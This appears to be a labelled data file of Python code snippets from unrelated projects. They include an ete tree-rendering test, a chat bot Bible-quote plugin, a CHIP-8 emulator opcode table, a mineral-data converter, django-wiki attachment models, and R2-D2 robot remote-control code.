TreeFace(t, ts) n = main_tree.add_child() n.add_face(temp_tface, 0, ""aligned"") t, ts = Tree(), TreeStyle() temp_tface = TreeFace(Tree('node;'), ts) n = main_tree.add_child() n.add_face(temp_tface, 0, ""aligned"") t, ts = Tree(), TreeStyle() ts.mode = ""c"" temp_tface = TreeFace(Tree('node;'), ts) n = main_tree.add_child() n.add_face(temp_tface, 0, ""aligned"") t, ts = Tree(), TreeStyle() ts.mode = ""c"" temp_tface = TreeFace(Tree(), ts) n = main_tree.add_child() n.add_face(temp_tface, 0, ""aligned"") t, ts = Tree(), TreeStyle() temp_tface = TreeFace(Tree(), ts) n = main_tree.add_child() n.add_face(temp_tface, 0, ""aligned"") # TEST TIGHT TEST WRAPPING chars = [""."" ""p"", ""j"", ""jJ""] def layout(node): global CONT if CONT >= len(chars): CONT = 0 if node.is_leaf(): node.img_style[""size""] = 0 F2= AttrFace(""name"", tight_text=True) F= TextFace(chars[CONT], tight_text=True) F.inner_border.width = 0 F2.inner_border.width = 0 #faces.add_face_to_node(F ,node, 0, position=""branch-right"") faces.add_face_to_node(F2 ,node, 1, position=""branch-right"") CONT += 1 t = Tree() t.populate(20, random_branches=True) ts = TreeStyle() ts.layout_fn = layout ts.mode = ""c"" ts.show_leaf_name = False temp_tface = TreeFace(t, ts) n = main_tree.add_child() n.add_face(temp_tface, 0, ""aligned"") # MAIN TREE ms = TreeStyle() ms.mode = ""r"" ms.show_leaf_name = False main_tree.render('test.png', tree_style=ms) main_tree.render('test.svg', tree_style=ms) if __name__ == '__main__': unittest.main() ",1 "ible quotes, right to the chat. Usage: /bible - Random quote /bible Genesis 1:3 - Specific verse /bible help - This help text Verses are specified in the format {book} {chapter}:{verse} TODO: Book acronyms, e.g. Gen -> Genesis TODO: Verse ranges, e.g. Genesis 1:1-3 """""" BIBLE_FILE = ""plugins/bible/en_kjv.json"" BIBLE_URL = 'https://raw.githubusercontent.com/thiagobodruk/bible/master/json/en_kjv.json' plugin = create_plugin(name='bible', author='CianLR', help=HELP_STR) bible = None book_to_index = {} def make_book_to_index(bible): btoi = {} for i, book in enumerate(bible): btoi[book['name'].lower()] = i return btoi @plugin.setup() def plugin_setup(): global bible, book_to_index try: bible = json.loads(open(BIBLE_FILE, encoding='utf-8-sig').read()) book_to_index = make_book_to_index(bible) return except BaseException as e: pass # We've tried nothing and we're all out of ideas, download a new bible. try: bible = json.loads( requests.get(BIBLE_URL).content.decode('utf-8-sig')) except BaseException as e: return ""Error loading bible: "" + str(e) book_to_index = make_book_to_index(bible) with open(BIBLE_FILE, 'w') as f: json.dump(bible, f) @plugin.listen(command='bible help') def help_command(bot, message: SteelyMessage, **kwargs): bot.sendMessage( HELP_STR, thread_id=message.thread_id, thread_type=message.thread_type) def is_valid_quote(book, chapter, verse): return (0 <= book < len(bible) and 0 <= chapter < len(bible[book]['chapters']) and 0 <= verse < len(bible[book]['chapters'][chapter])) def get_quote(book, chapter, verse): return ""{}\n - {} {}:{}"".format( bible[book][""chapters""][chapter][verse], bible[book][""name""], chapter + 1, verse + 1) def get_quote_from_ref(book_name, ref): if book_name.lower() not in book_to_index: return ""Could not find book name: "" + book_name book_i = book_to_index[book_name.lower()] if len(ref.split(':')) != 2: return 'Reference not in form ""Book Chapter:Passage""' chapter, verse = ref.split(':') if not chapter.isnumeric(): return ""Chapter must be an int"" chapter_i = int(chapter) - 1 if not verse.isnumeric(): return ""Passage must be an int"" verse_i = int(verse) - 1 if not is_valid_quote(book_i, chapter_i, verse_i): return ""Verse or chapter out of range"" return get_quote(book_i, chapter_i, verse_i) @plugin.listen(command='bible [book] [passage]') def passage_command(bot, message: SteelyMessage, **kwargs): if 'passage' not in kwargs: book = random.randrange(len(bible)) chapter = random.randrange(len(bible[book][""chapters""])) verse = random.randrange(len(bible[book][""chapters""][chapter])) bot.sendMessage( get_quote(book, chapter, verse), thread_id=message.thread_id, thread_type=message.thread_type) else: bot.sendMessage( get_quote_from_ref(kwargs['book'], kwargs['passage']), thread_id=message.thread_id, thread_type=message.thread_type) ",1 "lf, op_map): processed = {} for pattern, f in op_map.iteritems(): s = self._build_pattern_groups(pattern.lower()) processed[re.compile(s)] = f self.operations = processed def execute(self, context, op): s = ""%04x"" % op for pattern, f in self.operations.iteritems(): m = pattern.match(s) if m: return f(context, *[int(v, base=16) for v in m.groups()]) assert False, s def _build_pattern_groups(self, pattern): s = pattern.replace('?', '.') for id in ['x', 'y', 'z']: m = re.search('%s+' % id, s) if m: s = s[:m.start()] + ('(.{%s})' % (m.end() - m.start())) + s[m.end():] return '^' + s + '$' def set_mem_v0_vx(context, x): for i in range(x): context.memory.write_byte(context.index_reg + i, context.v[i]) context.pc += 2 def fill_v0_vx(context, x): for i in range(x+1): context.v[i] = context.memory.get_byte(context.index_reg + i) context.pc += 2 def set_bcd_vx(context, x): val = int(context.v[x]) context.memory.write_byte(context.index_reg, val / 100) context.memory.write_byte(context.index_reg + 1, val % 100 / 10) context.memory.write_byte(context.index_reg + 2, val % 100 % 10) context.pc += 2 def set_i_font(context, x): context.index_reg = context.memory.get_font_address(context.v[x]) context.pc += 2 def add_reg_ind(context, x): context.index_reg += context.v[x] context.pc += 2 def set_delay_timer(context, x): context.delay_timer = context.v[x] context.pc += 2 def set_sound_timer(context, x): context.sound_timer = context.v[x] context.pc += 2 def set_vx_key_pressed(context, x): context.v[x] = context.keypad.wait_for_keypress() context.pc += 2 def set_vx_delay_timer(context, x): context.v[x] = context.delay_timer context.pc += 2 def skip_key_vx(context, x, result=True): if context.keypad.is_keypressed(context.v[x]) == result: context.pc += 2 context.pc += 2 def draw_sprite(context, x, y, n): sprite = [] for cb in range(n): sprite.append(context.memory.get_byte(context.index_reg + cb)) collision = context.screen.draw(context.v[x], context.v[y], sprite) context.v[15] = collision context.pc += 2 def jump_nnn_v0(context, nnn): context.pc = context.v[0] + nnn def set_vx_rand(context, x, nn): import random context.v[x] = random.randint(0, 0xFF) & nn context.pc += 2 def jump_noteq(context, x, y): if context.v[x] != context.v[y]: context.pc += 2 context.pc += 2 def shift_vy_left(context, x, y): context.v[15] = context.v[15] >> 7 # First value context.v[x] = (context.v[y] << 1) % 255 context.pc += 2 def shift_right(context, x, y): context.v[15] = context.v[y] & 0x1 context.v[x] = context.v[y] >> 1 context.pc += 2 def sub_vx_vy_vf(context, x, y): logging.info('Setting V[X] = V[X] - V[Y], V[F] = 1 if V[Y] > V[X]') context.v[15] = 1 if context.v[y] > context.v[x] else 0 context.v[x] = context.v[x] - context.v[y] context.pc += 2 def add_vx_vy(context, x, y): logging.info('Setting V[X] = V[X] + V[Y]') val = context.v[x] + context.v[y] context.v[15] = 1 if val > 255 else 0 context.v[x] = val % 256 context.pc += 2 def sub_vx_vy(context, x, y): logging.info('Setting V[X] = V[X] - V[Y]') val = context.v[x] - context.v[y] context.v[15] = 1 if val < 0 else 0 context.v[x] = val % 256 context.pc += 2 def set_vx_or_vy(context, x, y): logging.info('Setting V[X] = V[X] | V[Y]') context.v[x] = context.v[x] | context.v[y] context.pc += 2 def set_vx_xor_vy(context, x, y): logging.info('Setting V[X] = V[X] ^ V[Y]') context.v[x] = context.v[x] ^ context.v[y] context.pc += 2 def set_vx_and_vy(context, x, y): logging.info('Setting V[X] = V[X] & V[Y]') context.v[x] = context.v[x] & context.v[y] context.pc += 2 def set_vx_vy(context, x, y): logging.info('Setting V[X] = V[Y]') context.v[x] = context.v[y] context.pc += 2 def add_reg(context, x, nnn): logging.info('Adding NNN to V[X]') context.v[x] = (context.v[x] + nnn) % 256 context.pc += 2 def set_i(context, nnn): logging.info('Setting NNN to index_reg') context.index_reg = nnn context.pc += 2 def pop_stack(context): logging.info('Returning from a subroutine') context.pc = context.stack.pop() def call_rca1082(context, address): #TODO print(""operation not implemented yet:"", address) context.pc += 1 def clear(context): logging.info('Clearing screen') context.screen.clear() context.pc += 2 def jump(context, address): logging.info('Jump at 0x%2x address' % address) context.pc = address def call(context, address): logging.info('Calling subroutine at 0x%2x address' % address) context.pc += 2 context.stack.append(context.pc) context.pc = address def skip_equal(context, x, nnn, ifeq=True): logging.info('Skip if V[X] === NNN is %s' % ifeq) if (context.v[x] == nnn) == ifeq: context.pc += 2 context.pc += 2 def skip_eq_reg(context, x, y): logging.info('Skip if V[X] === V[Y]') if context.v[x] == context.v[y]: context.pc += 2 context.pc += 2 def set_reg(context, x, nnn): logging.info('Set NNN to cpu reg V[x]') context.v[x] = nnn context.pc += 2 op_map = { '0?E0': clear, '0?EE': pop_stack, '0XXX': call_rca1082, '1XXX': jump, '2XXX': call, '3XYY': skip_equal, '4XYY': lambda context, x, nn: skip_equal(context, x, nn, ifeq = False), '5XY0': skip_eq_reg, '6XYY': set_reg, '7XYY': add_reg, '8XY0': set_vx_vy, '8XY1': set_vx_or_vy, '8XY2': set_vx_and_vy, '8XY3': set_vx_xor_vy, '8XY4': add_vx_vy, '8XY5': sub_vx_vy, '8XY6': shift_right, '8XY7': sub_vx_vy_vf, '8XYE': shift_vy_left, '9XY0': jump_noteq, 'AXXX': set_i, 'BXXX': jump_nnn_v0, 'CXYY': set_vx_rand, 'DXYZ': draw_sprite, 'EX9E': lambda context, x: skip_key_vx(x, result=False), 'EXA1': skip_key_vx, 'FX07': set_vx_delay_timer, 'FX0A': set_vx_key_pressed, 'FX15': set_delay_timer, 'FX18': set_sound_timer, 'FX1E': add_reg_ind, 'FX29': set_i_font, 'FX33': set_bcd_vx, 'FX55': set_mem_v0_vx, 'FX65': fill_v0_vx } ",1 " or later. # This is a standalone program that converts a tabulated version of the Stixrude and Lithgow-Bertelloni data format into the standard burnman format (printed to stdout) import sys def read_dataset(datafile): f=open(datafile,'r') ds=[] for line in f: ds.append(line.decode('utf-8').split()) return ds ds=read_dataset('HHPH2013_endmembers.dat') print '# BurnMan - a lower mantle toolkit' print '# Copyright (C) 2012, 2013, Heister, T., Unterborn, C., Rose, I. and Cottaar, S.' print '# Released under GPL v2 or later.' print '' print '""""""' print 'HHPH_2013' print 'Minerals from Holland et al 2013 and references therein' print 'The values in this document are all in S.I. units,' print 'unlike those in the original paper' print 'File autogenerated using HHPHdata_to_burnman.py' print '""""""' print '' print 'from burnman.mineral import Mineral' print 'from burnman.solidsolution import SolidSolution' print 'from burnman.solutionmodel import *' print 'from burnman.processchemistry import read_masses, dictionarize_formula, formula_mass' print '' print 'atomic_masses=read_masses()' print '' print '""""""' print 'ENDMEMBERS' print '""""""' print '' param_scales = [ -1., -1., #not nubmers, so we won't scale 1.e3, 1.e3, #kJ -> J 1.0, # J/K/mol 1.e-5, # kJ/kbar/mol -> m^3/mol 1.e3, 1.e-2, 1.e3, 1.e3, # kJ -> J and table conversion for b 1.e-5, # table conversion 1.e8, # kbar -> Pa 1.0, # no scale for K'0 1.e-8] #GPa -> Pa # no scale for eta_s formula='0' for idx, m in enumerate(ds): if idx == 0: param_names=m else: print 'class', m[0].lower(), '(Mineral):' print ' def __init__(self):' print ''.join([' formula=\'',m[1],'\'']) print ' formula = dictionarize_formula(formula)' print ' self.params = {' print ''.join([' \'name\': \'', m[0], '\',']) print ' \'formula\': formula,' print ' \'equation_of_state\': \'hp_tmt\',' for pid, param in enumerate(m): if pid > 1 and pid != 3 and pid<6: print ' \''+param_names[pid]+'\':', float(param)*param_scales[pid], ',' print ' \'Cp\':', [round(float(m[i])*param_scales[i],10) for i in [6, 7, 8, 9]], ',' for pid, param in enumerate(m): if pid > 9: print ' \''+param_names[pid]+'\':', float(param)*param_scales[pid], ',' print ' \'n\': sum(formula.values()),' print ' \'molar_mass\': formula_mass(formula, atomic_masses)}' print '' print ' self.uncertainties = {' print ' \''+param_names[3]+'\':', float(m[3])*param_scales[3], '}' print ' Mineral.__init__(self)' print '' ",1 "growth_rate_1_year_out, sga_of_sales, da_of_sales, capex_of_sales, nwc_of_sales, levered_beta, current_yield, exit_multiple, ticker): assumptions = {} try: assumptions['Tax Rate'] = float(tax_rate)/100.0 assumptions['Growth Rate 1 year out'] = float(growth_rate_1_year_out)/100.0 assumptions['SGA % of sales'] = float(sga_of_sales)/100.0 assumptions['D&A % of sales'] = float(da_of_sales)/100.0 assumptions['CAPEX % of sales'] = float(capex_of_sales)/100.0 assumptions['NWC % of sales'] = float(nwc_of_sales)/100.0 assumptions['Levered Beta'] = float(levered_beta) assumptions['Current Yield'] = float(current_yield)/100.0 assumptions['Exit Multiple'] = float(exit_multiple) except ValueError: return '

Invalid DCF Input. Please try again.

' ticker = ticker.split(' ')[0] if not ticker.isalnum(): return '

Invalid Ticker. Please try again.

' return calc_dcf(assumptions, ticker.upper()) ",1 "gestBST(root): if root.left is None and root.right is None: return True, 1, root.value, root.value if root.left: isBSTL, sizeL, minL, maxL = largestBST(root.left) else: isBSTL = True sizeL = 0 minL = -float('inf') if root.right: isBSTR, sizeR, minR, maxR = largestBST(root.right) else: isBSTR = True sizeR = 0 maxR = float('inf') if isBSTL and isBSTR: if maxL <= root.value <= minR: return True, sizeL+sizeR+1, minL, maxR, size = max(sizeL, sizeR) return False, size , None, None root1 = BTree() root1.value = 0 root2 = BTree() root2.value = 0 generateRandomTree(root2,2) generateRandomTree(root1,2) root1.left.left.left = root2 inorder(root1) print largestBST(root1) ",1 "ttings as django_settings from django.db.models import signals from know.plugins.attachments import settings from know import managers from know.models.pluginbase import ReusablePlugin from know.models.article import BaseRevisionMixin class IllegalFileExtension(Exception): """"""File extension on upload is not allowed"""""" pass class Attachment(ReusablePlugin): objects = managers.ArticleFkManager() current_revision = models.OneToOneField( 'AttachmentRevision', verbose_name=_(u'current revision'), blank=True, null=True, related_name='current_set', help_text=_(u'The revision of this attachment currently in use (on all articles using the attachment)'), ) original_filename = models.CharField( max_length=256, verbose_name=_(u'original filename'), blank=True, null=True, ) def can_write(self, **kwargs): user = kwargs.get('user', None) if not settings.ANONYMOUS and (not user or user.is_anonymous()): return False return ReusablePlugin.can_write(self, **kwargs) def can_delete(self, user): return self.can_write(user=user) class Meta: verbose_name = _(u'attachment') verbose_name_plural = _(u'attachments') app_label = settings.APP_LABEL def __unicode__(self): return ""%s: %s"" % (self.article.current_revision.title, self.original_filename) def extension_allowed(filename): try: extension = filename.split(""."")[-1] except IndexError: # No extension raise IllegalFileExtension(""No file extension found in filename. That's not okay!"") if not extension.lower() in map(lambda x: x.lower(), settings.FILE_EXTENSIONS): raise IllegalFileExtension(""The following filename is illegal: %s. Extension has to be one of %s"" % (filename, "", "".join(settings.FILE_EXTENSIONS))) return extension def upload_path(instance, filename): from os import path extension = extension_allowed(filename) # Has to match original extension filename if instance.id and instance.attachment and instance.attachment.original_filename: original_extension = instance.attachment.original_filename.split(""."")[-1] if not extension.lower() == original_extension: raise IllegalFileExtension(""File extension has to be '%s', not '%s'."" % (original_extension, extension.lower())) elif instance.attachment: instance.attachment.original_filename = filename upload_path = settings.UPLOAD_PATH upload_path = upload_path.replace('%aid', str(instance.attachment.article.id)) if settings.UPLOAD_PATH_OBSCURIFY: import random import hashlib m = hashlib.md5(str(random.randint(0, 100000000000000))) upload_path = path.join(upload_path, m.hexdigest()) if settings.APPEND_EXTENSION: filename += '.upload' return path.join(upload_path, filename) class AttachmentRevision(BaseRevisionMixin, models.Model): attachment = models.ForeignKey('Attachment') file = models.FileField( upload_to=upload_path, max_length=255, verbose_name=_(u'file'), storage=settings.STORAGE_BACKEND, ) description = models.TextField( blank=True, ) class Meta: verbose_name = _(u'attachment revision') verbose_name_plural = _(u'attachment revisions') ordering = ('created',) get_latest_by = ('revision_number',) app_label = settings.APP_LABEL def get_filename(self): """"""Used to retrieve the filename of a revision. But attachment.original_filename should always be used in the frontend such that filenames stay consistent."""""" # TODO: Perhaps we can let file names change when files are replaced? if not self.file: return None filename = self.file.name.split(""/"")[-1] return ""."".join(filename.split(""."")[:-1]) def get_size(self): """"""Used to retrieve the file size and not cause exceptions."""""" try: return self.file.size except OSError: return None except ValueError: return None def save(self, *args, **kwargs): if (not self.id and not self.previous_revision and self.attachment and self.attachment.current_revision and self.attachment.current_revision != self): self.previous_revision = self.attachment.current_revision if not self.revision_number: try: previous_revision = self.attachment.attachmentrevision_set.latest() self.revision_number = previous_revision.revision_number + 1 # NB! The above should not raise the below exception, but somehow it does. except AttachmentRevision.DoesNotExist, Attachment.DoesNotExist: self.revision_number = 1 super(AttachmentRevision, self).save(*args, **kwargs) if not self.attachment.current_revision: # If I'm saved from Django admin, then article.current_revision is me! self.attachment.current_revision = self self.attachment.save() def __unicode__(self): return ""%s: %s (r%d)"" % (self.attachment.article.current_revision.title, self.attachment.original_filename, self.revision_number) def on_revision_delete(instance, *args, **kwargs): if not instance.file: return # Remove file path = instance.file.path.split(""/"")[:-1] instance.file.delete(save=False) # Clean up empty directories # Check for empty folders in the path. Delete the first two. if len(path[-1]) == 32: # Path was (most likely) obscurified so we should look 2 levels down max_depth = 2 else: max_depth = 1 for depth in range(0, max_depth): delete_path = ""/"".join(path[:-depth] if depth > 0 else path) try: if len(os.listdir(os.path.join(django_settings.MEDIA_ROOT, delete_path))) == 0: os.rmdir(delete_path) except OSError: # Raised by os.listdir if directory is missing pass signals.pre_delete.connect(on_revision_delete, AttachmentRevision) ",1 " RPi.GPIO as GPIO # remove!!! from emotions import angry, happy, confused # from pysabertooth import Sabertooth # from smc import SMC from library import LEDDisplay from library import factory from library import reset_all_hw # Leg Motor Speed Global global_LegMotor = 70 # # Happy Emotion # def happy(leds, servos, mc, audio): # print(""4"") # print(""Happy"") # # # Dome Motor Initialization # # mc = SMC(dome_motor_port, 115200) # # mc.init() # # # Spins Motor # # mc.init() # mc.speed(3200) # # # LED Matrix Green # # breadboard has mono # # R2 has bi-color leds # # mono:0 bi:1 # # led_type = 0 # # leds = [0]*5 # # leds[1] = LEDDisplay(0x70, led_type) # # leds[2] = LEDDisplay(0x71, led_type) # # leds[3] = LEDDisplay(0x72, led_type) # # leds[4] = LEDDisplay(0x73, led_type) # # for x in [0, 1, 2, 3, 4, 5, 6, 7]: # for y in [0, 1, 2, 3, 4, 5, 6, 7]: # for i in range(1, 5): # leds[i].set(x, y, 1) # # for i in range(1, 5): # leds[i].write() # # # Servo Wave # # s0.angle = 0 # # time.sleep(0.2) # # s1.angle = 0 # # time.sleep(0.2) # # s2.angle = 0 # # time.sleep(0.2) # # s3.angle = 0 # # time.sleep(0.2) # # s4.angle = 0 # # time.sleep(0.5) # # s4.angle = 130 # # time.sleep(0.2) # # s3.angle = 130 # # time.sleep(0.2) # # s2.angle = 130 # # time.sleep(0.2) # # s1.angle = 130 # # time.sleep(0.2) # # s0.angle = 130 # # for a in [0, 130]: # for i in range(4): # servos[i].angle = a # time.sleep(0.2) # time.sleep(0.5) # # time.sleep(1.5) # mc.stop() # time.sleep(1.5) # for i in range(1, 5): # leds[i].clear() # # # # Confused Emotion # def confused(leds, servos, mc, audio): # print(""5"") # print(""Confused"") # # LED Matrix Yellow # # leds = [0]*5 # # leds[1] = LEDDisplay(0x70, 1) # # leds[2] = LEDDisplay(0x71, 1) # # leds[3] = LEDDisplay(0x72, 1) # # leds[4] = LEDDisplay(0x73, 1) # # for x in [0, 1, 2, 3, 4, 5, 6, 7]: # for y in [0, 1, 2, 3, 4, 5, 6, 7]: # for i in range(1, 5): # leds[i].set(x, y, 3) # for i in range(1, 5): # leds[i].write() # time.sleep(3) # for i in range(1, 5): # leds[i].clear() # # # # Angry Emotion # def angry(leds, servos, mc, audio): # print(""6"") # print(""Angry"") # # LED Matrix Red # # leds = [0]*5 # # leds[1] = LEDDisplay(0x70, 1) # # leds[2] = LEDDisplay(0x71, 1) # # leds[3] = LEDDisplay(0x72, 1) # # leds[4] = LEDDisplay(0x73, 1) # # for x in [0, 1, 2, 3, 4, 5, 6, 7]: # for y in [0, 1, 2, 3, 4, 5, 6, 7]: # for i in range(1, 5): # leds[i].set(x, y, 2) # # for i in range(1, 5): # leds[i].write() # # # Plays Imperial Theme Sound # audio.sound('imperial') # # # Servo Open and Close # # s0.angle = 0 # # s1.angle = 0 # # s2.angle = 0 # # s3.angle = 0 # # s4.angle = 0 # # time.sleep(1) # # s4.angle = 130 # # s3.angle = 130 # # s2.angle = 130 # # s1.angle = 130 # # s0.angle = 130 # # for a in [0, 130]: # for i in range(5): # servos[i].angle = a # time.sleep(1) # # time.sleep(3) # for i in range(1, 5): # leds[i].clear() ####################################### # original remote ####################################### # # Remote Mode # def remote(remoteflag, namespace): # print(""Remote"") # # # create objects # (leds, dome, legs, servos, Flash) = factory(['leds', 'dome', 'legs', 'servos', 'flashlight']) # # # initalize everything # dome.init() # dome.speed(0) # # legs.drive(1, 0) # legs.drive(2, 0) # # for s in servos: # s.angle = 0 # time.sleep(0.25) # # # what is this??? # GPIO.setmode(GPIO.BCM) # GPIO.setwarnings(False) # GPIO.setup(26, GPIO.OUT) # # # Joystick Initialization # js = Joystick() # # # get audio # audio = namespace.audio # # # Flash = FlashlightPWM(15) # # Flash = namespace.flashlight # # while(remoteflag.is_set()): # try: # # Button Initialization # ps4 = js.get() # btnSquare = ps4.buttons[0] # btnTriangle = ps4.buttons[1] # btnCircle = ps4.buttons[2] # btnX = ps4.buttons[3] # btnLeftStickLeftRight = ps4.leftStick.y # btnLeftStickUpDown = ps4.leftStick.x # btnRightStickLeftRight = ps4.rightStick.y # btnRightStickUpDown = ps4.rightStick.x # Left1 = ps4.shoulder[0] # Right1 = ps4.shoulder[1] # Left2 = ps4.triggers.x # Right2 = ps4.triggers.y # hat = ps4.hat # # # print(""PRINT"") # # # Button Controls # if hat == 1: # # Happy Emotion # print(""Arrow Up Pressed"") # happy(leds, servos, dome, audio) # namespace.emotions['happy'](leds, servos, mc, audio) # if hat == 8: # # Confused Emotion # print(""Arrow Left Pressed"") # confused(leds, servos, dome, audio) # if hat == 2: # # Angry Emotion # print(""Arrow Right Pressed"") # angry(leds, servos, dome, audio) # if hat == 4: # print(""Arrow Down Pressed"") # if btnSquare == 1: # # word = random_char(2) # audio.speak_random(2) # time.sleep(0.5) # if btnTriangle == 1: # # FlashLight ON # GPIO.output(26, GPIO.HIGH) # Flash.pwm.set_pwm(15, 0, 130) # if btnCircle == 1: # # FlashLight OFF # GPIO.output(26, GPIO.LOW) # Flash.pwm.set_pwm(15, 0, 0) # if btnX == 1: # for x in [0, 1, 2, 3, 4, 5, 6, 7]: # for y in [0, 1, 2, 3, 4, 5, 6, 7]: # if x == randint(0, 8) or y == randint(0, 8): # for i in range(1, 5): # leds[i].set(x, y, randint(0, 4)) # else: # for i in range(1, 5): # leds[i].set(x, y, 4) # for i in range(1, 5): # leds[i].write() # time.sleep(0.1) # for i in range(1, 5): # leds[i].clear() # if Left1 == 1: # # Dome Motor Forward # dome.speed(3200) # time.sleep(2) # dome.speed(0) # if Right1 == 1: # # Dome Motor Backward # dome.speed(-3200) # time.sleep(2) # dome.speed(0) # # if Left1 == 0 or Right1 == 0: # # # Dome Motor Stop # # dome.speed(0) # # if Left2 > 1: # # # Servo Open # # s0.angle = 0 # # s1.angle = 0 # # s2.angle = 0 # # s3.angle = 0 # # s4.angle = 0 # # Flash.pwm.set_pwm(15, 0, 3000) # # # # if Right2 > 1: # # # Servo Close # # s0.angle = 130 # # s1.angle = 130 # # s2.angle = 130 # # s3.angle = 130 # # s4.angle = 130 # # Flash.pwm.set_pwm(15, 0, 130) # if Left2 > 1: # for s in servos: # s.angle = 0 # time.sleep(0.25) # Flash.pwm.set_pwm(15, 0, 300) # if Right2 > 1: # for s in servos: # s.angle = 130 # time.sleep(0.25) # Flash.pwm.set_pwm(15, 0, 130) # if btnLeftStickLeftRight < 0.3 and btnLeftStickLeftRight > -0.3: # legs.drive(1, 0) # if btnRightStickUpDown < 0.3 and btnRightStickUpDown > -0.3: # legs.drive(2, 0) # if btnRightStickUpDown >= 0.3: # # Right and Left Motor Forward # legs.drive(1, btnRightStickUpDown*global_LegMotor) # legs.drive(2, btnRightStickUpDown*-global_LegMotor) # if btnRightStickUpDown <= -0.3: # # Right and Left Motor Backward # legs.drive(1, btnRightStickUpDown*global_LegMotor) # legs.drive(2, btnRightStickUpDown*-global_LegMotor) # if btnLeftStickLeftRight <= 0.3: # # Turn Left # legs.drive(1, btnLeftStickLeftRight*(-global_LegMotor)) # legs.drive(2, btnLeftStickLeftRight*-global_LegMotor) # if btnLeftStickLeftRight >= -0.3: # # Turn Right # legs.drive(1, btnLeftStickLeftRight*(-global_LegMotor)) # legs.drive(2, btnLeftStickLeftRight*-global_LegMotor) # # except KeyboardInterrupt: # print('js exiting ...') # return # return def remote_func(hw, ns): print(""Remote"") dome = hw['dome'] dome.speed(0) legs = hw['legs'] legs.drive(1, 0) legs.drive(2, 0) flashlight = hw['flashlight'] audio = hw['audio'] audio.speak('start') while ns.current_state == 3: print('remote ...') spd = random.randint(0, 40) legs.drive(1, spd) legs.drive(2, spd) dome.speed(spd) time.sleep(0.5) legs.drive(1, 0) legs.drive(2, 0) dome.speed(0) time.sleep(0.1) return ###### real loop here ##### # Joystick Initialization js = Joystick() while ns.current_state == 3: try: # Button Initialization ps4 = js.get() btnSquare = ps4.buttons[0] btnTriangle = ps4.buttons[1] btnCircle = ps4.buttons[2] btnX = ps4.buttons[3] btnLeftStickLeftRight = ps4.leftStick.y btnLeftStickUpDown = ps4.leftStick.x btnRightStickLeftRight = ps4.rightStick.y btnRightStickUpDown = ps4.rightStick.x Left1 = ps4.shoulder[0] Right1 = ps4.shoulder[1] Left2 = ps4.triggers.x Right2 = ps4.triggers.y hat = ps4.hat # print(""PRINT"") # Button Controls if hat == 1: # Happy Emotion print(""Arrow Up Pressed"") happy(leds, servos, dome, audio) # namespace.emotions['happy'](leds, servos, mc, audio) if hat == 8: # Confused Emotion print(""Arrow Left Pressed"") confused(leds, servos, dome, audio) if hat == 2: # Angry Emotion print(""Arrow Right Pressed"") angry(leds, servos, dome, audio) if hat == 4: print(""Arrow Down Pressed"") if btnSquare == 1: # word = random_char(2) audio.speak_random(2) time.sleep(0.5) if btnTriangle == 1: # FlashLight ON GPIO.output(26, GPIO.HIGH) Flash.pwm.set_pwm(15, 0, 130) if btnCircle == 1: # FlashLight OFF GPIO.output(26, GPIO.LOW) Flash.pwm.set_pwm(15, 0, 0) if btnX == 1: for x in [0, 1, 2, 3, 4, 5, 6, 7]: for y in [0, 1, 2, 3, 4, 5, 6, 7]: if x == randint(0, 8) or y == randint(0, 8): for i in range(1, 5): leds[i].set(x, y, randint(0, 4)) else: for i in range(1, 5): leds[i].set(x, y, 4) for i in range(1, 5): leds[i].write() time.sleep(0.1) for i in range(1, 5): leds[i].clear() if Left1 == 1: # Dome Motor Forward dome.speed(3200) time.sleep(2) dome.speed(0) if Right1 == 1: # Dome Motor Backward dome.speed(-3200) time.sleep(2) dome.speed(0) # if Left1 == 0 or Right1 == 0: # # Dome Motor Stop # dome.speed(0) # if Left2 > 1: # # Servo Open # s0.angle = 0 # s1.angle = 0 # s2.angle = 0 # s3.angle = 0 # s4.angle = 0 # Flash.pwm.set_pwm(15, 0, 3000) # # if Right2 > 1: # # Servo Close # s0.angle = 130 # s1.angle = 130 # s2.angle = 130 # s3.angle = 130 # s4.angle = 130 # Flash.pwm.set_pwm(15, 0, 130) if Left2 > 1: for s in servos: s.angle = 0 time.sleep(0.25) Flash.pwm.set_pwm(15, 0, 300) if Right2 > 1: for s in servos: s.angle = 130 time.sleep(0.25) Flash.pwm.set_pwm(15, 0, 130) if btnLeftStickLeftRight < 0.3 and btnLeftStickLeftRight > -0.3: legs.drive(1, 0) if btnRightStickUpDown < 0.3 and btnRightStickUpDown > -0.3: legs.drive(2, 0) if btnRightStickUpDown >= 0.3: # Right and Left Motor Forward legs.drive(1, btnRightStickUpDown*global_LegMotor) legs.drive(2, btnRightStickUpDown*-global_LegMotor) if btnRightStickUpDown <= -0.3: # Right and Left Motor Backward legs.drive(1, btnRightStickUpDown*global_LegMotor) legs.drive(2, btnRightStickUpDown*-global_LegMotor) if btnLeftStickLeftRight <= 0.3: # Turn Left legs.drive(1, btnLeftStickLeftRight*(-global_LegMotor)) legs.drive(2, btnLeftStickLeftRight*-global_LegMotor) if btnLeftStickLeftRight >= -0.3: # Turn Right legs.drive(1, btnLeftStickLeftRight*(-global_LegMotor)) legs.drive(2, btnLeftStickLeftRight*-global_LegMotor) except KeyboardInterrupt: print('js exiting ...') return # exiting, reset all hw reset_all_hw(hw) return ",1 "sim: LungEnv, pid_K=[0.0, 0.0], decay=0.1, **kwargs): self.base_controller = base_controller self.sim = sim self.I = 0.0 self.K = pid_K self.decay = decay self.reset() def reset(self): self.base_controller.reset() self.sim.reset() self.I = 0.0 def compute_action(self, state, t): u_in_base, u_out = self.base_controller(state, t) err = self.sim.pressure - state self.I = self.I * (1 - self.decay) + err * self.decay pid_correction = self.K[0] * err + self.K[1] * self.I u_in = torch.clamp(u_in_base + pid_correction, min=0.0, max=100.0) self.sim(u_in, u_out, t) return u_in, u_out ",1 "enti-Wilson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the ""Software""), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 